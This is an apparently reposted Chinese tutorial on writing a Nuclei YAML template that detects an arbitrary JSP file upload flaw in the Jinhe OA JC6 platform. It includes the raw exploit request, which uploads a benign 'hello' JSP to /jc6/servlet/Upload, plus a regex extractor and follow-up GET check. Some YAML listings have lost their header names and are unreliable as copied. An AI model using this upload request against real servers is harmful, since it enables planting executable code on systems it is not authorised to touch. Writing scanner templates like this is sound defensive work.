本文由安云安全内部群-鲁鲁师傅原创投稿
前情提要
基础篇没看过的师傅建议先看一下关于Yaml脚本的基础知识及往期文章:
【脚本编写】Nuclei-yaml脚本速成新手教程--SQL注入篇
【脚本编写】Nuclei-yaml脚本速成新手教程--SQL注入篇
【脚本编写】Nuclei-yaml脚本速成新手教程--信息泄露、文件上传篇
文件上传篇2
上回我们说了用yaml编写文件上传漏洞的第一种情况“固定文件名+路径”,这次我们主要说第另外一种:
固定上传路径+随机文件名
案例说明
web.body="JC6金和协同管理平台"
POC如下:
POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Content-Type: multipart/form-data; boundary=00content0boundary00
Host: {{Hostname}}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 169
--00content0boundary00
Content-Disposition: form-data; name="img"; filename="1.jsp"
Content-Type: image/jpeg
<% out.println("hello"); %>
--00content0boundary00--
文件上传位置如下:
/jc6/upload/402882838d63f2dd018d77bce0766e8f.jsp
yaml文件编写
因为每次发包后,上级目录和文件名都是不固定的,虽然这种情况比我们之前说的“固定上传路径+固定文件名的方式”略微复杂一些,但是并不影响我们写成yaml来批量扫描;
首先,分析下poc的具体情况:POST请求提交上传数据+文件名,知道了具体漏洞特征后,我们开始编写批量扫描脚本吧:老规矩,先把模板的标题和信息块固定好
id: jinhe-JC6-Upload-uploadfile
info:
name: jinhe-JC6-Upload-uploadfile
author: 思沃科技
severity: critical
description: 金和OA JC6 Upload任意文件上传漏洞
完整yaml请求体为:
id: jinhe-JC6-Upload-uploadfile
info:
name: jinhe-JC6-Upload-uploadfile
author: 思沃科技
severity: critical
description: 金和OA JC6 Upload任意文件上传漏洞
http:
raw:
|
POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/ HTTP/1.1
Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1 :
multipart/form-data; boundary=00content0boundary00 :
Host: {{Hostname}}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
169 :
--00content0boundary00
form-data; name="img"; filename="1.jsp" :
image/jpeg :
out.println("hello"); %> #上传文件内容为hello
--00content0boundary00--
标题和请求体都放入了yaml中,现在我们不知道它具体返回包的样子,所以没法去写具体的匹配规则,这里,我们还是用笨办法,先写个模糊的匹配规则,来进行测试。
先整理下思路:
1.该POC上传文件类型为jsp格式
2.如果上传成功,那么返回包中可能存在jsp文件信息;
3.上传成功了,大概率返回的响应码是200;
根据上述三个猜想来看,我们只要匹配返回包信息中,包含.jsp以及HTTP响应码为200的特征,那么就有可能会得到想要的结果。
依然可以照搬《文件上传2》的方式来
说干就干!构思完成后的匹配规则如下:
matchers: # 匹配器
- type: status #定义匹配类型为status(响应码)
status:
- 200 # 响应码为200
- type: word #定义第二个匹配条件为关键词
part: body #匹配位置:返回包的body处
words:
- ".jsp" #匹配返回包中,包含.jsp字符串的内容
matchers-condition: and #上述两个条件均匹配,然后返回为true
有命中,说明规则应该是没问题的,我们通过--debug,来看下返回包信息:
通过观察,我们发现,该命中特征,有两个地方需要注意:
1.上传根目录为/upload/
2.文件名为MD5的32位加密.jsp文件
知道了返回包结构,我们继续完善yaml脚本
这里需要用到正则匹配器extractors的regex方法来匹配MD5
extractors: #正则提取器
- type: regex #正则表达式
part: body # 匹配位置为返回包的body位置
internal: true #因为我们要从终端信息中提取内容,所以需要用到这个参数
name: wj #定义变量名wj,意思是将正则表达式匹配到的内容,保存到wj变量中;
regex:
- ([0-9a-z]{32}).jsp #匹配数字0-9,小写字母a-z,并且长度为32位,结尾为.jsp的内容
因为32位MD5分大写、小写两种情况,这个漏洞返回的上传文件名,为32位小写MD5,所以,这里用 0-9a-z的范围来匹配
匹配规则写好了,我们完善下我们的yaml脚本:
1.我们将正则表达式提取到的数据,赋值到了wj变量中,wj=32位MD5的字符串.jsp(在yaml文件中,记得变量是{{wj}})的,而不是$wj)
2.文件上传路径为/upload/(这里要注意下,因为金和JC6,部分站点的默认根目录为/jc6/,所以我们在上传根目录前面加上它,最终变成/jc6/upload/)
3.确认文件是否存在,需要用到GET方法,以及返回包的响应码为200,这还不够,我们还需要匹配该响应码下的文件内容中,是否包含我们写入的字符串;
基于上述三点,最终形成了这样的匹配规则:
extractors: #正则提取器
- type: regex #正则表达式
part: body # 匹配位置为返回包的body位置
internal: true #因为我们要从终端信息中提取内容,所以需要用到这个参数
name: wj #定义变量名wj,意思是将正则表达式匹配到的内容,保存到wj变量中;
regex:
- ([0-9a-z]{32}).jsp #匹配数字0-9,小写字母a-z,并且长度为32位,结尾为.jsp的内容
matchers:
- type: dsl
dsl:
- 'status_code==200 && contains_all(body,"hello")'
好了,规则写完,完整yaml如下:
id: jinhe-JC6-Upload-uploadfile
info:
name: jinhe-JC6-Upload-uploadfile
author: 思沃科技
severity: critical
description: 金和OA JC6 Upload任意文件上传漏洞
http:
raw:
|
POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/ HTTP/1.1
Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1 :
multipart/form-data; boundary=00content0boundary00 :
Host: {{Hostname}}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
169 :
--00content0boundary00
form-data; name="img"; filename="1.jsp" :
image/jpeg :
out.println("hello"); %>
--00content0boundary00--
| #新增一个GET请求
GET /jc6/upload/{{wj}} HTTP/1.1
Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1 :
Host: {{Hostname}}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
extractors:
type: regex
part: body
internal: true
name: wj
regex:
([0-9a-z]{32}).jsp
matchers:
type: dsl
dsl:
'status_code_2==200 && contains_all(body_2,"hello")' #匹配响应码为200,并且文本内容包含hello字符串的页面
#这里有个细节,最后面的规则,我都加了个_2,表示匹配第二个请求体的结果,这样会更精确一些,不加的话也行,只不过会匹配全局所有请求,那么可能会存一点点的误报率。
最终测试结果
写在最后
原文始发于微信公众号(银遁安全团队):【脚本编写】Nuclei-yaml脚本速成新手教程--文件上传篇2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论